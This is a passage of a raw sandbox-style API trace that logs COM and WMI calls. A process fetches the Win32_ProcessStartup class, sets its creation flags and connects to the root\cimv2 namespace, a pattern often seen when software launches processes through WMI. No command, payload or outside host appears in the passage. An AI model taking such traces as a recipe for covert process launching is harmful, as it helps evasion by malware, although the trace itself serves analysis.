WbemDefPath:IWbemPath:GetText (in: This=0x1a980210, lFlags=2, puBuffLength=0x1bb7e678*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e678*=0x15, pszText=0x0) returned 0x0 [0126.557] WbemDefPath:IWbemPath:GetText (in: This=0x1a980210, lFlags=2, puBuffLength=0x1bb7e678*=0x15, pszText="00000000000000000000" | out: puBuffLength=0x1bb7e678*=0x15, pszText="Win32_ProcessStartup") returned 0x0 [0126.557] IWbemServices:GetObject (in: This=0x1a9e2140, strObjectPath="Win32_ProcessStartup", lFlags=0, pCtx=0x0, ppObject=0x1bb7e4c0*=0x0, ppCallResult=0x0 | out: ppObject=0x1bb7e4c0*=0x1a9ed860, ppCallResult=0x0) returned 0x0 [0126.558] IWbemClassObject:Get (in: This=0x1a9ed860, wszName="__PATH", lFlags=0, pVal=0x1bb7e590*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1bb7e6f8*=0, plFlavor=0x1bb7e6f0*=0 | out: pVal=0x1bb7e590*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\Q9IATRKPRH\\ROOT\\cimv2:Win32_ProcessStartup", varVal2=0x0), pType=0x1bb7e6f8*=8, plFlavor=0x1bb7e6f0*=64) returned 0x0 [0126.558] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\ROOT\\cimv2:Win32_ProcessStartup") returned 0x58 [0126.558] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\ROOT\\cimv2:Win32_ProcessStartup") returned 0x58 [0126.559] CoGetObjectContext (in: riid=0x276df60*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e5c8 | out: ppv=0x1bb7e5c8*=0x1a943398) returned 0x0 [0126.559] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e5b8 | out: pAptType=0x1bb7e5b8*=1) returned 0x0 [0126.559] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x276df40*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e5c0 | out: ppvObject=0x1bb7e5c0*=0x0) returned 0x80004002 [0126.559] IUnknown:Release (This=0x1a943398) returned 0x1 [0126.560] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7d9e0 | out: ppv=0x1bb7d9e0*=0x1a9ec570) returned 0x0 [0126.561] WbemDefPath:IUnknown:QueryInterface (in: This=0x1a9ec570, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7da28 | out: ppvObject=0x1bb7da28*=0x0) returned 0x80004002 [0126.561] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1a9ec570, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d9d8 | out: ppvObject=0x1bb7d9d8*=0x1a980390) returned 0x0 [0126.561] WbemDefPath:IUnknown:Release (This=0x1a9ec570) returned 0x0 [0126.561] WbemDefPath:IUnknown:QueryInterface (in: This=0x1a980390, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d7e8 | out: ppvObject=0x1bb7d7e8*=0x1a980390) returned 0x0 [0126.561] WbemDefPath:IUnknown:QueryInterface (in: This=0x1a980390, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d890 | out: ppvObject=0x1bb7d890*=0x0) returned 0x80004002 [0126.561] WbemDefPath:IUnknown:AddRef (This=0x1a980390) returned 0x3 [0126.561] WbemDefPath:IUnknown:QueryInterface (in: This=0x1a980390, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7cf38 | out: ppvObject=0x1bb7cf38*=0x0) returned 0x80004002 [0126.561] WbemDefPath:IUnknown:QueryInterface (in: This=0x1a980390, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7cec0 | out: ppvObject=0x1bb7cec0*=0x0) returned 0x80004002 [0126.561] WbemDefPath:IUnknown:QueryInterface (in: This=0x1a980390, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7ceb0 | out: ppvObject=0x1bb7ceb0*=0x1a9ec590) returned 0x0 [0126.561] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1a9ec590, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7ced8 | out: pCid=0x1bb7ced8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0126.561] WbemDefPath:IUnknown:Release (This=0x1a9ec590) returned 0x3 [0126.562] CoGetContextToken (in: pToken=0x1bb7cf60 | out: pToken=0x1bb7cf60) returned 0x0 [0126.562] CoGetContextToken (in: pToken=0x1bb7d3e0 | out: pToken=0x1bb7d3e0) returned 0x0 [0126.562] WbemDefPath:IUnknown:QueryInterface (in: This=0x1a980390, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d4a0 | out: ppvObject=0x1bb7d4a0*=0x0) returned 0x80004002 [0126.562] WbemDefPath:IUnknown:Release (This=0x1a980390) returned 0x2 [0126.562] WbemDefPath:IUnknown:Release (This=0x1a980390) returned 0x1 [0126.562] CoGetContextToken (in: pToken=0x1bb7e200 | out: pToken=0x1bb7e200) returned 0x0 [0126.562] CoGetContextToken (in: pToken=0x1bb7e100 | out: pToken=0x1bb7e100) returned 0x0 [0126.562] WbemDefPath:IUnknown:QueryInterface (in: This=0x1a980390, riid=0x1bb7e260*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e230 | out: ppvObject=0x1bb7e230*=0x1a980390) returned 0x0 [0126.562] WbemDefPath:IUnknown:AddRef (This=0x1a980390) returned 0x3 [0126.562] WbemDefPath:IUnknown:Release (This=0x1a980390) returned 0x2 [0126.562] WbemDefPath:IWbemPath:SetText (This=0x1a980390, uMode=0x4, pszPath="\\\\Q9IATRKPRH\\ROOT\\cimv2:Win32_ProcessStartup") returned 0x0 [0126.562] IWbemClassObject:Get (in: This=0x1a9ed860, wszName="CreateFlags", lFlags=0, pVal=0x1bb7e610*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x277b890*=0, plFlavor=0x277b894*=0 | out: pVal=0x1bb7e610*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x277b890*=19, plFlavor=0x277b894*=0) returned 0x0 [0126.562] IWbemClassObject:Get (in: This=0x1a9ed860, wszName="CreateFlags", lFlags=0, pVal=0x1bb7e600*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x277b890*=19, plFlavor=0x277b894*=0 | out: pVal=0x1bb7e600*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x277b890*=19, plFlavor=0x277b894*=0) returned 0x0 [0126.563] IWbemClassObject:Put (This=0x1a9ed860, wszName="CreateFlags", lFlags=0, pVal=0x1bb7e650*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x8, varVal2=0x0), Type=0) returned 0x0 [0126.563] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1a980150, puCount=0x1bb7e5e0 | out: puCount=0x1bb7e5e0*=0x0) returned 0x0 [0126.563] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1a97f9d0, puCount=0x1bb7e5a0 | out: puCount=0x1bb7e5a0*=0x2) returned 0x0 [0126.563] WbemDefPath:IWbemPath:GetText (in: This=0x1a97f9d0, lFlags=4, puBuffLength=0x1bb7e598*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e598*=0xf, pszText=0x0) returned 0x0 [0126.563] WbemDefPath:IWbemPath:GetText (in: This=0x1a97f9d0, lFlags=4, puBuffLength=0x1bb7e598*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e598*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0126.563] CoGetObjectContext (in: riid=0x276df60*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e4f8 | out: ppv=0x1bb7e4f8*=0x1a943398) returned 0x0 [0126.563] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e4e8 | out: pAptType=0x1bb7e4e8*=1) returned 0x0 [0126.563] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x276df40*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e4f0 | out: ppvObject=0x1bb7e4f0*=0x0) returned 0x80004002 [0126.563] IUnknown:Release (This=0x1a943398) returned 0x1 [0126.565] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7d910 | out: ppv=0x1bb7d910*=0x1a9ec730) returned 0x0 [0126.565] WbemDefPath:IUnknown:QueryInterface (in: This=0x1a9ec730, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7d958 | out: ppvObject=0x1bb7d958*=0x0) returned 0x80004002 [0126.565] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1a9ec730, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d908 | out: ppvObject=0x1bb7d908*=0x1a980450) returned 0x0 [0126.565] WbemDefPath:IUnknown:Release (This=0x1a9ec730) returned 0x0 [0126.565] WbemDefPath:IUnknown:QueryInterface (in: This=0x1a980450, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d718 | out: ppvObject=0x1bb7d718*=0x1a980450) returned 0x0 [0126.565] WbemDefPath:IUnknown:QueryInterface (in: This=0x1a980450, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d7c0 | out: ppvObject=0x1bb7d7c0*=0x0) returned 0x80004002 [0126.565] WbemDefPath:IUnknown:AddRef (This=0x1a980450) returned 0x3 [0126.565] WbemDefPath:IUnknown:QueryInterface (in: This=0x1a980450, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7ce68 | out: ppvObject=0x1bb7ce68*=0x0) returned 0x80004002 [0126.566] WbemDefPath:IUnknown:QueryInterface (in: This=0x1a980450, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7cdf0 | out: ppvObject=0x1bb7cdf0*=0x0) returned 0x80004002 [0126.566] WbemDefPath:IUnknown:QueryInterface (in: This=0x1a980450, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7cde0 | out: ppvObject=0x1bb7cde0*=0x1a9ec770) returned 0x0 [0126.566] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1a9ec770, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7ce08 | out: pCid=0x1bb7ce08*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0126.566] WbemDefPath:IUnknown:Release (This=0x1a9ec770) returned 0x3 [0126.566] CoGetContextToken (in: pToken=0x1bb7ce90 | out: pToken=0x1bb7ce90) returned 0x0 [0126.566] CoGetContextToken (in: pToken=0x1bb7d310 | out: pToken=0x1bb7d310) returned 0x0 [0126.566] WbemDefPath:IUnknown:QueryInterface (in: This=0x1a980450, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d3d0 | out: ppvObject=0x1bb7d3d0*=0x0) returned 0x80004002 [0126.566] WbemDefPath:IUnknown:Release (This=0x1a980450) returned 0x2 [0126.566] WbemDefPath:IUnknown:Release (This=0x1a980450) returned 0x1 [0126.566] CoGetContextToken (in: pToken=0x1bb7e130 | out: pToken=0x1bb7e130) returned 0x0 [0126.566] CoGetContextToken (in: pToken=0x1bb7e030 | out: pToken=0x1bb7e030) returned 0x0 [0126.566] WbemDefPath:IUnknown:QueryInterface (in: This=0x1a980450, riid=0x1bb7e190*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e160 | out: ppvObject=0x1bb7e160*=0x1a980450) returned 0x0 [0126.566] WbemDefPath:IUnknown:AddRef (This=0x1a980450) returned 0x3 [0126.566] WbemDefPath:IUnknown:Release (This=0x1a980450) returned 0x2 [0126.566] WbemDefPath:IWbemPath:SetText (This=0x1a980450, uMode=0x4, pszPath="\\\\.\\root\\cimv2") returned 0x0 [0126.566] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1a980450, puCount=0x1bb7e510 | out: puCount=0x1bb7e510*=0x2) returned 0x0 [0126.566] WbemDefPath:IWbemPath:GetText (in: This=0x1a980450, lFlags=4, puBuffLength=0x1bb7e508*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e508*=0xf, pszText=0x0) returned 0x0 [0126.566] WbemDefPath:IWbemPath:GetText (in: This=0x1a980450, lFlags=4, puBuffLength=0x1bb7e508*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e508*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0126.566] CoGetObjectContext (in: riid=0x276df60*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e588 | out: ppv=0x1bb7e588*=0x1a943398) returned 0x0 [0126.566] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e578 | out: pAptType=0x1bb7e578*=1) returned 0x0 [0126.566] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x276df40*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e580 | out: ppvObject=0x1bb7e580*=0x0) returned 0x80004002 [0126.566] IUnknown:Release (This=0x1a943398) returned 0x1 [0126.567] CoGetClassObject (in: rclsid=0x1a9ccf38*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7db30 | out: ppv=0x1bb7db30*=0x1a9ec870) returned 0x0 [0126.567] WbemLocator:IUnknown:QueryInterface (in: This=0x1a9ec870, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7db78 | out: ppvObject=0x1bb7db78*=0x0) returned 0x80004002 [0126.568] WbemLocator:IClassFactory:CreateInstance (in: This=0x1a9ec870, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7db28 | out: ppvObject=0x1bb7db28*=0x1a9ec890) returned 0x0 [0126.568] WbemLocator:IUnknown:Release (This=0x1a9ec870) returned 0x0 [0126.568] WbemLocator:IUnknown:QueryInterface (in: This=0x1a9ec890, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d938 | out: ppvObject=0x1bb7d938*=0x1a9ec890) returned 0x0 [0126.568] WbemLocator:IUnknown:QueryInterface (in: This=0x1a9ec890, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d9e0 | out: ppvObject=0x1bb7d9e0*=0x0) returned 0x80004002 [0126.568] WbemLocator:IUnknown:AddRef (This=0x1a9ec890) returned 0x3 [0126.568] WbemLocator:IUnknown:QueryInterface (in: This=0x1a9ec890, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7d088 | out: ppvObject=0x1bb7d088*=0x0) returned 0x80004002 [0126.568] WbemLocator:IUnknown:QueryInterface (in: This=0x1a9ec890, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7d010 | out: ppvObject=0x1bb7d010*=0x0) returned 0x80004002 [0126.568] WbemLocator:IUnknown:QueryInterface (in: This=0x1a9ec890, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d000 | out: ppvObject=0x1bb7d000*=0x0) returned 0x80004002 [0126.568] CoGetContextToken (in: pToken=0x1bb7d0b0 | out: pToken=0x1bb7d0b0) returned 0x0 [0126.568] CoGetContextToken (in: pToken=0x1bb7d530 | out: pToken=0x1bb7d530) returned 0x0 [0126.568] WbemLocator:IUnknown:QueryInterface (in: This=0x1a9ec890, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d5f0 | out: ppvObject=0x1bb7d5f0*=0x0) returned 0x80004002 [0126.568] WbemLocator:IUnknown:Release (This=0x1a9ec890) returned 0x2 [0126.568] WbemLocator:IUnknown:Release (This=0x1a9ec890) returned 0x1 [0126.569] CoGetContextToken (in: pToken=0x1bb7e0e0 | out: pToken=0x1bb7e0e0) returned 0x0 [0126.569] CoGetContextToken (in: pToken=0x1bb7dfe0 | out: pToken=0x1bb7dfe0) returned 0x0 [0126.569] WbemLocator:IUnknown:QueryInterface (in: This=0x1a9ec890, riid=0x1bb7e140*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x1bb7e110 | out: ppvObject=0x1bb7e110*=0x1a9ec890) returned 0x0 [0126.569] WbemLocator:IUnknown:AddRef (This=0x1a9ec890) returned 0x3 [0126.569] WbemLocator:IUnknown:Release (This=0x1a9ec890) returned 0x2 [0126.569] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1a980450, puCount=0x1bb7e510 | out: puCount=0x1bb7e510*=0x2) returned 0x0 [0126.569] WbemDefPath:IWbemPath:GetText (in: This=0x1a980450, lFlags=8, puBuffLength=0x1bb7e508*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e508*=0xf, pszText=0x0) returned 0x0 [0126.569] WbemDefPath:IWbemPath:GetText (in: This=0x1a980450, lFlags=8, puBuffLength=0x1bb7e508*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e508*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0126.569] CoCreateInstance (in: rclsid=0x7fef422b060*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x7fef422b0c0*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppv=0x1bb7e180 | out: ppv=0x1bb7e180*=0x1a9ec8b0) returned 0x0 [0126.569] WbemLocator:IWbemLocator:ConnectServer (in: This=0x1a9ec8b0, strNetworkResource="\\\\.\\root\\cimv2", strUser=0x0, strPassword=0x0, strLocale="", lSecurityFlags=128, strAuthority="", pCtx=0x0, ppNamespace=0x1bb7e3a8 | out: ppNamespace=0x1bb7e3a8*=0x1a9e2530) returned 0x0 [0126.658] WbemLocator:IUnknown:QueryInterface (in: This=0x1a9e2530, riid=0x7fef422aee0*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7dff8 | out: ppvObject=0x1bb7dff8*=0x1a9f04b0) returned 0x0 [0126.658] WbemLocator:IClientSecurity:QueryBlanket (in: This=0x1a9f04b0, pProxy=0x1a9e2530, pAuthnSvc=0x1bb7e0c0, pAuthzSvc=0x1bb7e040, pServerPrincName=0x1bb7e070, pAuthnLevel=0x1bb7e044, pImpLevel=0x1bb7e04c, pAuthInfo=0x1bb7e078, pCapabilites=0x1bb7e048 | out: pAuthnSvc=0x1bb7e0c0*=0xa, pAuthzSvc=0x1bb7e040*=0x0, pServerPrincName=0x1bb7e070, pAuthnLevel=0x1bb7e044*=0x6, pImpLevel=0x1bb7e04c*=0x2, pAuthInfo=0x1bb7e078, pCapabilites=0x1bb7e048*=0x1) returned 0x0 [0126.658] WbemLocator:IUnknown:Release (This=0x1a9f04b0) returned 0x1 [0126.658] WbemLocator:IUnknown:QueryInterface (in: This=0x1a9e2530, riid=0x7fef422aed0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7df90 | out: ppvObject=0x1bb7df90*=0x1a9f04f0) returned 0x0 [0126.658] WbemLocator:IUnknown:QueryInterface (in: This=0x1a9e2530, riid=0x7fef422aee0*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7dfa0 | out: ppvObject=0x1bb7dfa0*=0x1a9f04b0) returned 0x0 [0126.658] WbemLocator:IClientSecurity:SetBlanket (This=0x1a9f04b0, pProxy=0x1a9e2530, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0126.659] WbemLocator:IUnknown:Release (This=0x1a9f04b0) returned 0x2 [0126.659] WbemLocator:IUnknown:Release (This=0x1a9f04f0) returned 0x1 [0126.659] CoTaskMemFree (pv=0x1a9efc00) [0126.659] WbemLocator:IUnknown:AddRef (This=0x1a9e2530) returned 0x2 [0126.659] WbemLocator:IUnknown:Release (This=0x1a9ec8b0) returned 0x0 [0126.659] CoGetContextToken (in: pToken=0x1bb7d200 | out: pToken=0x1bb7d200) returned 0x0 [0126.660] CoGetContextToken (in: pToken=0x1bb7d680 | out: pToken=0x1bb7d680) returned 0x0 [0126.660] WbemLocator:IUnknown:QueryInterface (in: This=0x1a9e2530, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d600 | out: ppvObject=0x1bb7d600*=0x1a9f04c0) returned 0x0 [0126.660] WbemLocator:IRpcOptions:Query (in: This=0x1a9f04c0, pPrx=0x1a9ec910, dwProperty=2, pdwValue=0x1bb7d730 | out: pdwValue=0x1bb7d730) returned 0x80004002 [0126.660] WbemLocator:IUnknown:Release (This=0x1a9f04c0) returned 0x2 [0126.660] CoGetContextToken (in: pToken=0x1bb7dd50 | out: pToken=0x1bb7dd50) returned 0x0 [0126.660] CoGetContextToken (in: pToken=0x1bb7dc50 | out: 